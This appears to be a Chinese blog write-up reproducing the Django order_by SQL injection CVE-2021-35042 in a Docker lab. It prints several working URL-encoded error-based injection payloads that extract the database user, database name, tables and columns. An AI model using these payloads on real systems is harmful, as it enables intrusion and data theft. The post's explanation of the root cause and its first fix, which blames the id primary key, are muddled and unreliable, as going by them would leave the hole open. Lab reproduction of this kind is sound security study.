Django之SQL注入漏洞复现(CVE-2021-35042)
前言
SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露
漏洞原理
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
以下是我自己的理解,根据Django使用的框架中,他创建了apps.py并执行,会自动生成一个models.py

models.py调用了Collection的这个类
然后发送到了这边,而models又需要migrations来迁移文件,其中调用了models.AutoField,而它如果在没有增加id这个字段的时候,会自动增加一个自增的数据库类型的字段id,但恰恰在此需要设为主键(primary_key=True)否则又会报错,导致错误将id设置为主键,可以执行SQL命令且没有被过滤

所以当order==id时会出现一个自增序列的数据(可以是ID也是等于id)


而当order=-ID又会出现问题,而打印出一些敏感信息


*影响版本
Django 3.2
Django 3.1
环境搭建
靶机: 192.168.31.230
yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下载阿里的镜像yum源
yum install docker-ce docker-ce-cli contaninerd.io
wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下载docker-compose
service docker start
详细docker搭建请参考此链接:https://www.cnblogs.com/BlogVice-2203/p/16977227.html
将CVE-2021-35042上传到centos7

docker-compose build
docker-compose up -d //启动漏洞环境


环境启动成功后,查看http://your-ip:8000访问首页
构造poc
查当前用户
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

查当前数据库
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

查数据
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

修复建议
1.将除了id以外的其他字段其中一个设置为主键(我自己对AutoField()的理解),这样或许可以避免id成为主键自增,在数据库中就没有了主键id,就不会导致SQL注入产生
2.更新最新版本
Django之SQL注入漏洞复现(CVE-2021-35042)的更多相关文章
- Django GIS SQL注入漏洞(CVE-2020-9402)
影响版本 Django 1.11.29之前的1.11.x版本.2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞 提示有admin.vuln.vuln2,3个页面,存 ...
- 企业安全03Django GIS SQL注入漏洞CVE-2020-9402
Django GIS SQL注入漏洞CVE-2020-9402 一.漏洞描述 Django是Django基金会的一套基于Python语言的开源Web应用框架.该框架包括面向对象的映射器.视图系统.模板 ...
- 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现
影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...
- WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞
漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...
- Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的 ...
- WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞
漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
随机推荐
- 使用python制作动图
利用python制作gif图 引言 当写文章时候,多张图片会影响排版,可以考虑制作gif图 准备 pip install imageio 代码 # This is a sample Python sc ...
- 『现学现忘』Git基础 — 36、标签tag(一)
目录 1.标签介绍 2.列出标签 3.创建标签 (1)标签的分类 (2)附注标签 (3)轻量标签 4.后期打标签 1.标签介绍 软件的某个发行版本所对应的,其实就是软件开发过程中,某一个阶段的最后一次 ...
- JSP的内置对象 request和response
文章目录 1.request对象 2.response响应对象 3.out输出对象 4.session会话对象 5.application应用对象 概述 在使用JSP内置对象的时候.不需要先定义这些对 ...
- Java开发学习(三十九)----SpringBoot整合mybatis
一.回顾Spring整合Mybatis Spring 整合 Mybatis 需要定义很多配置类 SpringConfig 配置类 导入 JdbcConfig 配置类 导入 MybatisConfig ...
- javascript异步编程之generator(生成器函数)与asnyc/await语法糖
Generator 异步方案 相比于传统回调函数的方式处理异步调用,Promise最大的优势就是可以链式调用解决回调嵌套的问题.但是这样写依然会有大量的回调函数,虽然他们之间没有嵌套,但是还是没有达到 ...
- Java单例模式,看这一篇就够了
在创建型设计模式中,我们第一个学习的是单例模式(Singleton Pattern),这是设计模式中最简单的模式之一. 单例是什么意思呢? 单例就是单实例的意思,即在系统全局,一个类只创建一个对象,并 ...
- 论文笔记 - SIMILAR: Submodular Information Measures Based Active Learning In Realistic Scenarios
motivation Active Learning 存在的重要问题:现实数据极度不平衡,有许多类别很少见(rare),又有很多类别是冗余的(redundancy),又有些数据是 OOD 的(out- ...
- MessagePack 和System.Text.Json 序列号 反序列化对比
本博客将测试MessagePack 和System.Text.Json 序列号 反序列化性能 项目文件: Program.cs代码: using BenchmarkDotNet.Running; us ...
- 2022!影响百万用户金融信用评分,Equifax被告上法庭,罪魁祸首——『数据漂移』!⛵
作者:韩信子@ShowMeAI 数据分析实战系列:https://www.showmeai.tech/tutorials/40 机器学习实战系列:https://www.showmeai.tech/t ...
- 操作系统课程设计pintos project1实验摘记
第一部分 项目概述 一.Pintos简介 Pintos是一个基于80x86架构的简单操作系统框架,它支持内核级线程.能够加载和运行用户程序,也拥有文件系统,不过,这些功能均以一种简单的形式实现. 二. ...
